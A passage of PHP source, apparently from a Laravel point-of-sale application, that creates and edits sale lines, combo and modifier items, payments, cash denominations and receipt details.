$product['modifier_set_id'][$key], 'variation_id' => $value, 'quantity' => $modifier_quantity, 'unit_price_before_discount' => $this_price, 'unit_price' => $this_price, 'unit_price_inc_tax' => $this_price, 'parent_sell_line_id' => $product['transaction_sell_lines_id'], 'children_type' => 'modifier', ]); } } } } } } else { $products_modified_combo[] = $product; //calculate unit price and unit price before discount $uf_unit_price = $uf_data ? $this->num_uf($product['unit_price']) : $product['unit_price']; $unit_price_before_discount = $uf_unit_price / $multiplier; $unit_price = $unit_price_before_discount; if (! empty($product['line_discount_type']) && $product['line_discount_amount']) { $discount_amount = $uf_data ? $this->num_uf($product['line_discount_amount']) : $product['line_discount_amount']; if ($product['line_discount_type'] == 'fixed') { //Note: Consider multiplier for fixed discount amount $unit_price = $unit_price_before_discount - ($discount_amount / $multiplier); } elseif ($product['line_discount_type'] == 'percentage') { $unit_price = ((100 - $discount_amount) * $unit_price_before_discount) / 100; } } $uf_quantity = $uf_data ? $this->num_uf($product['quantity']) : $product['quantity']; $uf_item_tax = $uf_data ? $this->num_uf($product['item_tax']) : $product['item_tax']; $uf_unit_price_inc_tax = $uf_data ? $this->num_uf($product['unit_price_inc_tax']) : $product['unit_price_inc_tax']; $line_discount_amount = 0; if (! empty($product['line_discount_amount'])) { $line_discount_amount = $uf_data ? $this->num_uf($product['line_discount_amount']) : $product['line_discount_amount']; if ($product['line_discount_type'] == 'fixed') { $line_discount_amount = $line_discount_amount / $multiplier; } } $line = [ 'product_id' => $product['product_id'], 'variation_id' => $product['variation_id'], 'quantity' => $uf_quantity * $multiplier, 'unit_price_before_discount' => $unit_price_before_discount, 'unit_price' => $unit_price, 'line_discount_type' => ! empty($product['line_discount_type']) ? $product['line_discount_type'] : null, 'line_discount_amount' => $line_discount_amount, 'item_tax' => $uf_item_tax / $multiplier, 'tax_id' => $product['tax_id'], 'unit_price_inc_tax' => $uf_unit_price_inc_tax / $multiplier, 'sell_line_note' => ! empty($product['sell_line_note']) ? $product['sell_line_note'] : '', 'sub_unit_id' => ! empty($product['sub_unit_id']) ? $product['sub_unit_id'] : null, 'discount_id' => ! empty($product['discount_id']) ? $product['discount_id'] : null, 'res_service_staff_id' => ! empty($product['res_service_staff_id']) ? $product['res_service_staff_id'] : null, 'res_line_order_status' => ! empty($product['res_service_staff_id']) ? 'received' : null, 'so_line_id' => ! empty($product['so_line_id']) ? $product['so_line_id'] : null, 'secondary_unit_quantity' => ! empty($product['secondary_unit_quantity']) ? $this->num_uf($product['secondary_unit_quantity']) : 0, ]; foreach ($extra_line_parameters as $key => $value) { $line[$key] = isset($product[$value]) ? $product[$value] : ''; } if (! empty($product['lot_no_line_id'])) { $line['lot_no_line_id'] = $product['lot_no_line_id']; } //Check if restaurant module is enabled then add more data related to that. if ($this->isModuleEnabled('modifiers')) { $sell_line_modifiers = []; if (! empty($product['modifier'])) { foreach ($product['modifier'] as $key => $value) { if (! empty($product['modifier_price'][$key])) { $this_price = $uf_data ? $this->num_uf($product['modifier_price'][$key]) : $product['modifier_price'][$key]; $modifier_quantity = isset($product['modifier_quantity'][$key]) ? $product['modifier_quantity'][$key] : 1; $sell_line_modifiers[] = [ 'product_id' => $product['modifier_set_id'][$key], 'variation_id' => $value, 'quantity' => $modifier_quantity, 'unit_price_before_discount' => $this_price, 'unit_price' => $this_price, 'unit_price_inc_tax' => $this_price, 'children_type' => 'modifier', ]; } } } $modifiers_array[] = $sell_line_modifiers; } $lines_formatted[] = new TransactionSellLine($line); $sell_line_warranties[] = ! empty($product['warranty_id']) ? $product['warranty_id'] : 0; //Update purchase order line quantity received $this->updateSalesOrderLine($line['so_line_id'], $line['quantity'], 0); } } if (! is_object($transaction)) { $transaction = Transaction::findOrFail($transaction); } //Delete the products removed and increment product stock. $deleted_lines = []; if (! empty($edit_ids)) { $deleted_lines = TransactionSellLine::where('transaction_id', $transaction->id) ->whereNotIn('id', $edit_ids) ->select('id')->get()->toArray(); $combo_delete_lines = TransactionSellLine::whereIn('parent_sell_line_id', $deleted_lines)->where('children_type', 'combo')->select('id')->get()->toArray(); $deleted_lines = array_merge($deleted_lines, $combo_delete_lines); $adjust_qty = $status_before == 'draft' ? false : true; $this->deleteSellLines($deleted_lines, $location_id, $adjust_qty); } $combo_lines = []; if (! empty($lines_formatted)) { $transaction->sell_lines()->saveMany($lines_formatted); //Add corresponding modifier sell lines if exists if ($this->isModuleEnabled('modifiers')) { foreach ($lines_formatted as $key => $value) { if (! empty($modifiers_array[$key])) { foreach ($modifiers_array[$key] as $modifier) { $modifier['parent_sell_line_id'] = $value->id; $modifiers_formatted[] = new TransactionSellLine($modifier); } } } } //Combo product lines. //$products_value = array_values($products); foreach ($lines_formatted as $key => $value) { if (! empty($products_modified_combo[$key]['product_type']) && $products_modified_combo[$key]['product_type'] == 'combo') { $combo_lines = array_merge($combo_lines, $this->__makeLinesForComboProduct($products_modified_combo[$key]['combo'], $value)); } //Save sell line warranty if set if (! empty($sell_line_warranties[$key])) { $value->warranties()->sync([$sell_line_warranties[$key]]); } } } if (! empty($combo_lines)) { $transaction->sell_lines()->saveMany($combo_lines); } if (! empty($modifiers_formatted)) { $transaction->sell_lines()->saveMany($modifiers_formatted); } if ($return_deleted) { return $deleted_lines; } return true; } private function updateSalesOrderLine($so_line_id, $new_qty, $old_qty = 0) { $diff = $new_qty - $old_qty; if (! empty($so_line_id) && ! empty($diff)) { $so_line = TransactionSellLine::find($so_line_id); $so_line->so_quantity_invoiced += ($diff); $so_line->save(); } } /** * Returns the line for combo product * * @param array $combo_items * @param object $parent_sell_line * @return array */ private function __makeLinesForComboProduct($combo_items, $parent_sell_line) { $combo_lines = []; //Calculate the percentage change in price. $combo_total_price = 0; foreach ($combo_items as $key => $value) { $sell_price_inc_tax = Variation::findOrFail($value['variation_id'])->sell_price_inc_tax; $combo_items[$key]['unit_price_inc_tax'] = $sell_price_inc_tax; $combo_total_price += $value['quantity'] * $sell_price_inc_tax; } $change_percent = $this->get_percent($combo_total_price, $parent_sell_line->unit_price_inc_tax * $parent_sell_line->quantity); foreach ($combo_items as $value) { $price = $this->calc_percentage($value['unit_price_inc_tax'], $change_percent, $value['unit_price_inc_tax']); $combo_lines[] = new TransactionSellLine([ 'product_id' => $value['product_id'], 'variation_id' => $value['variation_id'], 'quantity' => $value['quantity'], 'unit_price_before_discount' => $price, 'unit_price' => $price, 'line_discount_type' => null, 'line_discount_amount' => 0, 'item_tax' => 0, 'tax_id' => null, 'unit_price_inc_tax' => $price, 'sub_unit_id' => null, 'discount_id' => null, 'parent_sell_line_id' => $parent_sell_line->id, 'children_type' => 'combo', ]); } return $combo_lines; } /** * Edit transaction sell line * * @param array $product * @param int $location_id * @return bool */ public function editSellLine($product, $location_id, $status_before, $multiplier = 1, $uf_data = true) { //Get the old order quantity $sell_line = TransactionSellLine::with(['product', 'warranties']) ->find($product['transaction_sell_lines_id']); $old_qty = $sell_line->quantity; $edit_ids[] = $product['transaction_sell_lines_id']; //Adjust quanity if ($status_before != 'draft') { $new_qty = $this->num_uf($product['quantity']) * $multiplier; $difference = $sell_line->quantity - $new_qty; $this->adjustQuantity($location_id, $product['product_id'], $product['variation_id'], $difference); } $uf_unit_price = $uf_data ? $this->num_uf($product['unit_price']) : $product['unit_price']; $unit_price_before_discount = $uf_unit_price / $multiplier; $unit_price = $unit_price_before_discount; if (! empty($product['line_discount_type']) && $product['line_discount_amount']) { $discount_amount = $uf_data ? $this->num_uf($product['line_discount_amount']) : $product['line_discount_amount']; if ($product['line_discount_type'] == 'fixed') { $unit_price = $unit_price_before_discount - ($discount_amount / $multiplier); } elseif ($product['line_discount_type'] == 'percentage') { $unit_price = ((100 - $discount_amount) * $unit_price_before_discount) / 100; } } $line_discount_amount = 0; if (! empty($product['line_discount_amount'])) { $line_discount_amount = $uf_data ? $this->num_uf($product['line_discount_amount']) : $product['line_discount_amount']; if ($product['line_discount_type'] == 'fixed') { $line_discount_amount = $line_discount_amount / $multiplier; } } //Update sell lines. $sell_line->fill(['product_id' => $product['product_id'], 'variation_id' => $product['variation_id'], 'quantity' => $uf_data ? $this->num_uf($product['quantity']) * $multiplier : $product['quantity'] * $multiplier, 'unit_price_before_discount' => $unit_price_before_discount, 'unit_price' => $unit_price, 'line_discount_type' => ! empty($product['line_discount_type']) ? $product['line_discount_type'] : null, 'line_discount_amount' => $line_discount_amount, 'item_tax' => $uf_data ? $this->num_uf($product['item_tax']) / $multiplier : $product['item_tax'] / $multiplier, 'tax_id' => $product['tax_id'], 'unit_price_inc_tax' => $uf_data ? $this->num_uf($product['unit_price_inc_tax']) / $multiplier : $product['unit_price_inc_tax'] / $multiplier, 'sell_line_note' => ! empty($product['sell_line_note']) ? $product['sell_line_note'] : '', 'sub_unit_id' => ! empty($product['sub_unit_id']) ? $product['sub_unit_id'] : null, 'res_service_staff_id' => ! empty($product['res_service_staff_id']) ? $product['res_service_staff_id'] : null, 'secondary_unit_quantity' => ! empty($product['secondary_unit_quantity']) ? $this->num_uf($product['secondary_unit_quantity']) : 0, ]); $sell_line->save(); //Set warranty if (! empty($product['warranty_id'])) { $warranty_ids = $sell_line->warranties->pluck('warranty_id')->toArray(); if (! in_array($product['warranty_id'], $warranty_ids)) { $warranty_ids[] = $product['warranty_id']; $sell_line->warranties()->sync(array_filter($warranty_ids)); } } else { $sell_line->warranties()->sync([]); } //Adjust the sell line for combo items. if (isset($product['product_type']) && $product['product_type'] == 'combo' && ! empty($product['combo'])) { //$this->editSellLineCombo($sell_line, $location_id, $sell_line->quantity, $new_qty); //Assign combo product sell line to $edit_ids so that it will not get deleted foreach ($product['combo'] as $combo_line) { $edit_ids[] = $combo_line['transaction_sell_lines_id']; } $adjust_stock = ($status_before != 'draft'); $this->updateEditedSellLineCombo($product['combo'], $location_id, $adjust_stock); } $this->updateSalesOrderLine($sell_line->so_line_id, $sell_line->quantity, $old_qty); return $edit_ids; } /** * Delete the products removed and increment product stock. * * @param array $transaction_line_ids * @param int $location_id * @return bool */ public function deleteSellLines($transaction_line_ids, $location_id, $adjust_qty = true) { if (! empty($transaction_line_ids)) { $sell_lines = TransactionSellLine::whereIn('id', $transaction_line_ids) ->get(); //Adjust quanity foreach ($sell_lines as $line) { if ($adjust_qty) { $this->adjustQuantity($location_id, $line->product_id, $line->variation_id, $line->quantity); } //Update purchase order line quantity received $this->updateSalesOrderLine($line->so_line_id, 0, $line->quantity); } //unset so_line_id if set TransactionSellLine::whereIn('so_line_id', $transaction_line_ids) ->update(['so_line_id' => null]); TransactionSellLine::whereIn('id', $transaction_line_ids) ->delete(); } } /** * Adjust the quantity of product and its variation * * @param int $location_id * @param int $product_id * @param int $variation_id * @param float $increment_qty * @return bool */ private function adjustQuantity($location_id, $product_id, $variation_id, $increment_qty) { if ($increment_qty != 0) { $enable_stock = Product::find($product_id)->enable_stock; if ($enable_stock == 1) { //Adjust Quantity in variations location table VariationLocationDetails::where('variation_id', $variation_id) ->where('product_id', $product_id) ->where('location_id', $location_id) ->increment('qty_available', $increment_qty); } } } /** * Add line for payment * * @param object/int $transaction * @param array $payments * @return bool */ public function createOrUpdatePaymentLines($transaction, $payments, $business_id = null, $user_id = null, $uf_data = true) { $payments_formatted = []; $edit_ids = [0]; $account_transactions = []; if (! is_object($transaction)) { $transaction = Transaction::findOrFail($transaction); } //If status is draft don't add payment if ($transaction->status == 'draft') { return true; } $c = 0; $prefix_type = 'sell_payment'; if ($transaction->type == 'purchase') { $prefix_type = 'purchase_payment'; } $contact_balance = Contact::where('id', $transaction->contact_id)->value('balance'); $denominations = []; foreach ($payments as $payment) { //Check if transaction_sell_lines_id is set. if (! empty($payment['payment_id'])) { $edit_ids[] = $payment['payment_id']; $this->editPaymentLine($payment, $transaction, $uf_data); } else { $payment_amount = $uf_data ? $this->num_uf($payment['amount']) : $payment['amount']; if ($payment['method'] == 'advance' && $payment_amount > $contact_balance) { throw new AdvanceBalanceNotAvailable(__('lang_v1.required_advance_balance_not_available')); } //If amount is 0 then skip. if ($payment_amount != 0) { $prefix_type = 'sell_payment'; if ($transaction->type == 'purchase') { $prefix_type = 'purchase_payment'; } $ref_count = $this->setAndGetReferenceCount($prefix_type, $business_id); //Generate reference number $payment_ref_no = $this->generateReferenceNumber($prefix_type, $ref_count, $business_id); if (! empty($payment['paid_on'])) { $paid_on = $uf_data ? $this->uf_date($payment['paid_on'], true) : $payment['paid_on']; } else { $paid_on = \Carbon::now()->toDateTimeString(); } $payment_data = [ 'amount' => $payment_amount, 'method' => $payment['method'], 'business_id' => $transaction->business_id, 'is_return' => isset($payment['is_return']) ? $payment['is_return'] : 0, 'card_transaction_number' => isset($payment['card_transaction_number']) ? $payment['card_transaction_number'] : null, 'card_number' => isset($payment['card_number']) ? $payment['card_number'] : null, 'card_type' => isset($payment['card_type']) ? $payment['card_type'] : null, 'card_holder_name' => isset($payment['card_holder_name']) ? $payment['card_holder_name'] : null, 'card_month' => isset($payment['card_month']) ? $payment['card_month'] : null, 'card_security' => isset($payment['card_security']) ? $payment['card_security'] : null, 'cheque_number' => isset($payment['cheque_number']) ? $payment['cheque_number'] : null, 'bank_account_number' => isset($payment['bank_account_number']) ? $payment['bank_account_number'] : null, 'note' => isset($payment['note']) ? $payment['note'] : null, 'paid_on' => $paid_on, 'created_by' => empty($user_id) ? auth()->user()->id : $user_id, 'payment_for' => $transaction->contact_id, 'payment_ref_no' => $payment_ref_no, 'account_id' => ! empty($payment['account_id']) && $payment['method'] != 'advance' ? $payment['account_id'] : null, ]; for ($i = 1; $i < 8; $i++) { if ($payment['method'] == 'custom_pay_'.$i) { $payment_data['transaction_no'] = $payment["transaction_no_{$i}"]; } } $payments_formatted[] = new TransactionPayment($payment_data); if (! empty($payment['denominations'])) { $denominations[$payment_ref_no] = $payment['denominations']; } $account_transactions[$c] = []; //create account transaction $payment_data['transaction_type'] = $transaction->type; $account_transactions[$c] = $payment_data; $c++; } } } //Delete the payment lines removed. if (! empty($edit_ids)) { $deleted_transaction_payments = $transaction->payment_lines()->whereNotIn('id', $edit_ids)->get(); $transaction->payment_lines()->whereNotIn('id', $edit_ids)->delete(); //Fire delete transaction payment event foreach ($deleted_transaction_payments as $deleted_transaction_payment) { event(new TransactionPaymentDeleted($deleted_transaction_payment)); } } if (! empty($payments_formatted)) { $transaction->payment_lines()->saveMany($payments_formatted); $payment_lines = $transaction->payment_lines; foreach ($account_transactions as $account_transaction) { $payment = $payment_lines->where('payment_ref_no', $account_transaction['payment_ref_no'])->first(); if (! empty($payment)) { event(new TransactionPaymentAdded($payment, $account_transaction)); } } //add denominations if (! empty($denominations)) { foreach ($denominations as $key => $value) { $payment = $payment_lines->where('payment_ref_no', $key)->first(); $this->addCashDenominations($payment, $value); } } } return true; } /** * Edit transaction payment line * * @param array $product * @return bool */ public function editPaymentLine($payment, $transaction = null, $uf_data = true) { $payment_id = $payment['payment_id']; unset($payment['payment_id']); for ($i = 1; $i < 8; $i++) { if ($payment['method'] == 'custom_pay_'.$i) { $payment['transaction_no'] = $payment["transaction_no_{$i}"]; } unset($payment["transaction_no_{$i}"]); } if (! empty($payment['paid_on'])) { $payment['paid_on'] = $uf_data ? $this->uf_date($payment['paid_on'], true) : $payment['paid_on']; } $denominations = ! empty($payment['denominations']) ? $payment['denominations'] : []; if (isset($payment['denominations'])) { unset($payment['denominations']); } $payment['amount'] = $uf_data ? $this->num_uf($payment['amount']) : $payment['amount']; $tp = TransactionPayment::where('id', $payment_id) ->first(); $transaction_type = ! empty($transaction->type) ? $transaction->type : null; $tp->update($payment); if (! empty($denominations)) { $this->updateCashDenominations($tp, $denominations); } //event event(new TransactionPaymentUpdated($tp, $transaction->type)); return true; } /** * Function to add cash denominations for a payment */ public function addCashDenominations($payment, $all_denominations) { $business = Business::findOrFail($payment->business_id); $pos_settings = ! empty($business->pos_settings) ? json_decode($business->pos_settings, true) : []; $enable_cash_denomination_for_payment_methods = ! empty($pos_settings['enable_cash_denomination_for_payment_methods']) ? $pos_settings['enable_cash_denomination_for_payment_methods'] : []; //add cash denomination if (in_array($payment->method, $enable_cash_denomination_for_payment_methods) && ! empty($pos_settings['enable_cash_denomination_on']) && $pos_settings['enable_cash_denomination_on'] == 'all_screens') { $denominations = []; foreach ($all_denominations as $key => $value) { if (! empty($value)) { $denominations[] = [ 'business_id' => $payment->business_id, 'amount' => $key, 'total_count' => $value, ]; } } if (! empty($denominations)) { $payment->denominations()->createMany($denominations); } } } /** * Function to update cash denominations for a payment */ public function updateCashDenominations($payment, $all_denominations) { $business = Business::findOrFail($payment->business_id); $pos_settings = ! empty($business->pos_settings) ? json_decode($business->pos_settings, true) : []; $denominations = []; $enable_cash_denomination_for_payment_methods = ! empty($pos_settings['enable_cash_denomination_for_payment_methods']) ? $pos_settings['enable_cash_denomination_for_payment_methods'] : []; //add cash denomination if (in_array($payment->method, $enable_cash_denomination_for_payment_methods) && ! empty($pos_settings['enable_cash_denomination_on']) && $pos_settings['enable_cash_denomination_on'] == 'all_screens') { foreach ($all_denominations as $key => $value) { if (! empty($value)) { CashDenomination::updateOrCreate( ['business_id' => $payment->business_id, 'model_id' => $payment->id, 'model_type' => \App\TransactionPayment::class, 'amount' => $key], ['total_count' => $value] ); $denominations[] = $key; } } } //delete not included denominations CashDenomination::where('business_id', $payment->business_id) ->where('model_type', \App\TransactionPayment::class) ->where('model_id', $payment->id) ->whereNotIn('amount', $denominations) ->delete(); } /** * Get payment line for a transaction * * @param int $transaction_id * @return bool */ public function getPaymentDetails($transaction_id) { $payment_lines = TransactionPayment::where('transaction_id', $transaction_id)->with(['denominations']) ->get()->toArray(); return $payment_lines; } /** * Gives the receipt details in proper format. * * @param int $transaction_id * @param int $location_id * @param object $invoice_layout * @param array $business_details * @param array $receipt_details * @param string $receipt_printer_type * @return array */ public function getReceiptDetails($transaction_id, $location_id, $invoice_layout, $business_details, $location_details, $receipt_printer_type) { $il = $invoice_layout; $transaction = Transaction::find($transaction_id); $transaction_type = $transaction->type; $output = [ 'header_text' => isset($il->header_text) ? $il->header_text : '', 'business_name' => ($il->show_business_name == 1) ? $business_details->name : '', 'location_name' => ($il->show_location_name == 1) ? $location_details->name : '', 'sub_heading_line1' => trim($il->sub_heading_line1), 'sub_heading_line2' => trim($il->sub_heading_line2), 'sub_heading_line3' => trim($il->sub_heading_line3), 'sub_heading_line4' => trim($il->sub_heading_line4), 'sub_heading_line5' => trim($il->sub_heading_line5), 'table_product_label' => $il->table_product_label, 'table_qty_label' => $il->table_qty_label, 'table_unit_price_label' => $il->table_unit_price_label, 'table_subtotal_label' => $il->table_subtotal_label, ]; //Display name $output['display_name'] = $output['business_name']; if (! empty($output['location_name'])) { if (! empty($output['display_name'])) { $output['display_name'] .= ', '; } $output['display_name'] .= $output['location_name']; } //Codes if (! empty($business_details->code_label_1) && ! empty($business_details->code_1)) { $output['code_label_1'] = $business_details->code_label_1; $output['code_1'] = $business_details->code_1; } if (! empty($business_details->code_label_1) && ! empty($business_details->code_1)) { $output['code_label_2'] = $business_details->code_label_2; $output['code_2'] = $business_details->code_2; } if ($il->show_letter_head == 1) { $output['letter_head'] = ! empty($il->letter_head) && file_exists(public_path('uploads/invoice_logos/'.$il->letter_head)) ? asset('uploads/invoice_logos/'.$il->letter_head) : null; } //Logo $output['logo'] = $il->show_logo != 0 && ! empty($il->logo) && file_exists(public_path('uploads/invoice_logos/'.$il->logo)) ? asset('uploads/invoice_logos/'.$il->logo) : false; //Address $output['address'] = ''; $temp = []; if ($il->show_landmark == 1) { $temp[] = $location_details->landmark; } if ($il->show_city == 1 && ! empty($location_details->city)) { $temp[] = $location_details->city; } if ($il->show_state == 1 && ! empty($location_details->state)) { $temp[] = $location_details->state; } if ($il->show_zip_code == 1 && ! empty($location_details->zip_code)) { $temp[] = $location_details->zip_code; } if ($il->show_country == 1 && ! empty($location_details->country)) { $temp[] = $location_details->country; } if (! empty($temp)) { $output['address'] .= implode(', ', $temp); } $output['website'] = $location_details->website; $output['location_custom_fields'] = ''; $temp = []; $location_custom_field_settings = ! empty($il->location_custom_fields) ? $il->location_custom_fields : []; if (! empty($location_details->custom_field1) && in_array('custom_field1', $location_custom_field_settings)) { $temp[] = $location_details->custom_field1; } if (! empty($location_details->custom_field2) && in_array('custom_field2', $location_custom_field_settings)) { $temp[] = $location_details->custom_field2; } if (! empty($location_details->custom_field3) && in_array('custom_field3', $location_custom_field_settings)) { $temp[] = $location_details->custom_field3; } if (! empty($location_details->custom_field4) && in_array('custom_field4', $location_custom_field_settings)) { $temp[] = $location_details->custom_field4; } if (! empty($temp)) { $output['location_custom_fields'] .= implode(', ', $temp); } //Tax Info if ($il->show_tax_1 == 1 && ! empty($business_details->tax_number_1)) { $output['tax_label1'] = ! empty($business_details->tax_label_1) ? $business_details->tax_label_1.': ' : ''; $output['tax_info1'] = $business_details->tax_number_1; } if ($il->show_tax_2 == 1 && ! empty($business_details->tax_number_2)) { if (! empty($output['tax_info1'])) { $output['tax_info1'] .= ', '; } $output['tax_label2'] = ! empty($business_details->tax_label_2) ? $business_details->tax_label_2.': ' : ''; $output['tax_info2'] = $business_details->tax_number_2; } //Shop Contact Info $output['contact'] = ''; if ($il->show_mobile_number == 1 && ! empty($location_details->mobile)) { $output['contact'] .= '<b>'.__('contact.mobile').':</b> '.$location_details->mobile; } if ($il->show_alternate_number == 1 && ! empty($location_details->alternate_number)) { if (empty($output['contact'])) { $output['contact'] .= __('contact.mobile').': '.$location_details->alternate_number; } else { $output['contact'] .= ', '.$location_details->alternate_number; } } if ($il->show_email == 1 && ! empty($location_details->email)) { if (! empty($output['contact'])) { $output['contact'] .= "\n"; } $output['contact'] .= '<br>'.__('business.email').': '.$location_details->email; } //Customer show_customer $customer = Contact::find($transaction->contact_id); $output['customer_info'] = ''; $output['customer_tax_number'] = ''; $output['customer_tax_label'] = ''; $output['customer_custom_fields'] = ''; if ($il->show_customer == 1) { $output['customer_label'] = ! empty($il->customer_label) ? $il->customer_label : ''; $output['customer_name'] = ! empty($customer->name) ? $customer->name : $customer->supplier_business_name; $output['customer_mobile'] = $customer->mobile; if ($receipt_printer_type != 'printer') { $output['customer_info'] .= $customer->contact_address; if (! empty($customer->contact_address)) { $output['customer_info'] .= '<br>'; } $output['customer_info'] .= '<b>'.__('contact.mobile').'</b>: '.$customer->mobile; if (! empty($customer->landline)) { $output['customer_info'] .= ', '.$customer->landline; } } $output['customer_tax_number'] = $customer->tax_number; $output['customer_tax_label'] = ! empty($il->client_tax_label) ? $il->client_tax_label : ''; $temp = []; $customer_custom_fields_settings = ! empty($il->contact_custom_fields) ? $il->contact_custom_fields : []; $contact_custom_labels = $this->getCustomLabels($business_details, 'contact'); if (! empty($customer->custom_field1) && in_array('custom_field1', $customer_custom_fields_settings)) { if (! empty($contact_custom_labels['custom_field_1'])) { $temp[] = $contact_custom_labels['custom_field_1'].': '.$customer->custom_field1; } else { $temp[] = $customer->custom_field1; } } if (! empty($customer->custom_field2) && in_array('custom_field2', $customer_custom_fields_settings)) { if (! empty($contact_custom_labels['custom_field_2'])) { $temp[] = $contact_custom_labels['custom_field_2'].': '.$customer->custom_field2; } else { $temp[] = $customer->custom_field2; } } if (! empty($customer->custom_field3) && in_array('custom_field3', $customer_custom_fields_settings)) { if (! empty($contact_custom_labels['custom_field_3'])) { $temp[] = $contact_custom_labels['custom_field_3'].': '.$customer->custom_field3; } else { $temp[] = $customer->custom_field3; } } if (! empty($customer->custom_field4) && in_array('custom_field4', $customer_custom_fields_settings)) { if (! empty($contact_custom_labels['custom_field_4'])) { $temp[] = $contact_custom_labels['custom_field_4'].': '.$customer->custom_field4; } else { $temp[] = $customer->custom_field1; } } if (! empty($temp)) { $output['customer_custom_fields'] .= implode('<br>', $temp); } //To be used in pdfs $customer_address = []; if (! empty($customer->supplier_business_name)) { $customer_address[] = $customer->supplier_business_name; } if (! empty($customer->address_line_1)) { $customer_address[] = '<br>'.$customer->address_line_1; } if (! empty($customer->address_line_2)) { $customer_address[] = '<br>'.$customer->address_line_2; } if (! empty($customer->city)) { $customer_address[] = '<br>'.$customer->city; } if (! empty($customer->state)) { $customer_address[] = $customer->state; } if (! empty($customer->country)) { $customer_address[] = $customer->country; } if (! empty($customer->zip_code)) { $customer_address[] = '<br>'.$customer->zip_code; } if (! empty(trim($customer->name))) { $customer_address[] = '<br>'.$customer->name; } if (! empty($customer->mobile)) { $customer_address[] = '<br>'.$customer->mobile; } if (! empty($customer->landline)) { $customer_address[] = $customer->landline; } $output['customer_info_address'] = ''; if (! empty($customer_address)) { $output['customer_info_address'] = implode(', ', $customer_address); } } if ($il->show_reward_point == 1) { $output['customer_rp_label'] = $business_details->rp_name; $output['customer_total_rp'] = $customer->total_rp; } $output['client_id'] = ''; $output['client_id_label'] = ''; if ($il->show_client_id == 1) { $output['client_id_label'] = ! empty($il->client_id_label) ? $il->client_id_label : ''; $output['client_id'] = ! empty($customer->contact_id) ? $customer->contact_id : ''; } //Sales person info $output['sales_person'] = ''; $output['sales_person_label'] = ''; if ($il->show_sales_person == 1) { $output['sales_person_label'] = ! empty($il->sales_person_label) ? $il->sales_person_label : ''; $output['sales_person'] = ! empty($transaction->sales_person->user_full_name) ? $transaction->sales_person->user_full_name : ''; } //commission agent info $output['commission_agent'] = ''; $output['commission_agent_label'] = ''; if ($il->show_commission_agent == 1) { $output['commission_agent_label'] = ! empty($il->commission_agent_label) ? $il->commission_agent_label : ''; $output['commission_agent'] = ! empty($transaction->sale_commission_agent->user_full_name) ? $transaction->sale_commission_agent->user_full_name : ''; } //Invoice info $output['invoice_no'] = $transaction->invoice_no; $output['invoice_no_prefix'] = $il->invoice_no_prefix; $output['shipping_address'] = ! empty($transaction->shipping_address()) ? $transaction->shipping_address() : $transaction->shipping_address; //Heading & invoice label, when quotation use the quotation heading. if ($transaction_type == 'sell_return') { $output['invoice_heading'] = $il->cn_heading; $output['invoice_no_prefix'] = $il->cn_no_label; //Parent sell details(return_parent_id) $output['parent_invoice_no'] = Transaction::find($transaction->return_parent_id)->invoice_no; $output['parent_invoice_no_prefix'] = $il->invoice_no_prefix; } elseif ($transaction->status == 'draft' && $transaction->sub_status == 'proforma' && ! empty($il->common_settings['proforma_heading'])) { $output['invoice_heading'] = $il->common_settings['proforma_heading']; } elseif ($transaction->status == 'draft' && $transaction->is_quotation == 1) { $output['invoice_heading'] = $il->quotation_heading; $output['invoice_no_prefix'] = $il->quotation_no_prefix; } elseif ($transaction_type == 'sales_order') { $output['invoice_heading'] = ! empty($il->common_settings['sales_order_heading']) ? $il->common_settings['sales_order_heading'] : __('lang_v1.sales_order'); $output['invoice_no_prefix'] = $il->quotation_no_prefix; } else { $output['invoice_heading'] = $il->invoice_heading; if ($transaction->payment_status == 'paid' && ! empty($il->invoice_heading_paid)) { $output['invoice_heading'] .= ' '.$il->invoice_heading_paid; } elseif (in_array($transaction->payment_status, ['due', 'partial']) && ! empty($il->invoice_heading_not_paid)) { $output['invoice_heading'] .= ' '.$il->invoice_heading_not_paid; } } $output['date_label'] = $il->date_label; if (blank($il->date_time_format)) { $output['invoice_date'] = $this->format_date($transaction->transaction_date, true, $business_details); } else { $output['invoice_date'] = \Carbon::createFromFormat('Y-m-d H:i:s', $transaction->transaction_date)->format($il->date_time_format); } $output['transaction_date'] = $transaction->transaction_date; $output['date_time_format'] = $business_details->date_format; $output['currency_symbol'] = $business_details->currency_symbol; $output['hide_price'] = ! empty($il->common_settings['hide_price']) ? true : false; if (! empty($il->common_settings['show_due_date']) && $transaction->payment_status != 'paid') { $output['due_date_label'] = ! empty($il->common_settings['due_date_label']) ? $il->common_settings['due_date_label'] : ''; $due_date = $transaction->due_date; if (! empty($due_date)) { if (blank($il->date_time_format)) { $output['due_date'] = $this->format_date($due_date->toDateTimeString(), true, $business_details); } else { $output['due_date'] = \Carbon::createFromFormat('Y-m-d H:i:s', $due_date->toDateTimeString())->format($il->date_time_format); } } } $show_currency = true; if ($receipt_printer_type == 'printer' && trim($business_details->currency_symbol) != '$') { $show_currency = false; } //Invoice product lines $is_lot_number_enabled = $business_details->enable_lot_number; $is_product_expiry_enabled = $business_details->enable_product_expiry; $output['lines'] = []; $total_exempt = 0; if (in_array($transaction_type, ['sell', 'sales_order'])) { $sell_line_relations = ['modifiers', 'sub_unit', 'warranties']; if ($is_lot_number_enabled == 1) { $sell_line_relations[] = 'lot_details'; } $lines = $transaction->sell_lines()->whereNull('parent_sell_line_id')->with($sell_line_relations)->get(); foreach ($lines as $key => $value) { if (! empty($value->sub_unit_id)) { $formated_sell_line = $this->recalculateSellLineTotals($business_details->id, $value); $lines[$key] = $formated_sell_line; } } $output['item_discount_label'] = $il->common_settings['item_discount_label'] ?? ''; $output['discounted_unit_price_label'] = $il->common_settings['discounted_unit_price_label'] ?? ''; $output['show_base_unit_details'] = ! empty($il->common_settings['show_base_unit_details']); $output['tax_summary_label'] = $il->common_settings['tax_summary_label'] ?? ''; $details = $this->_receiptDetailsSellLines($lines, $il, $business_details); $output['lines'] = $details['lines']; $output['taxes'] = []; $total_quantity = 0; $total_line_discount = 0; $total_line_taxes = 0; $subtotal_exc_tax = 0; $unique_items = []; foreach ($details['lines'] as $line) { if (! empty($line['group_tax_details'])) { foreach ($line['group_tax_details'] as $tax_group_detail) { if (! isset($output['taxes'][$tax_group_detail['name']])) { $output['taxes'][$tax_group_detail['name']] = 0; } $output['taxes'][$tax_group_detail['name']] += $tax_group_detail['calculated_tax']; } } elseif (! empty($line['tax_id'])) { if (! isset($output['taxes'][$line['tax_name']])) { $output['taxes'][$line['tax_name']] = 0; } $output['taxes'][$line['tax_name']] += ($line['tax_unformatted'] * $line['quantity_uf']); } if (! empty($line['tax_id']) && $line['tax_percent'] == 0) { $total_exempt += $line['line_total_uf']; } $subtotal_exc_tax 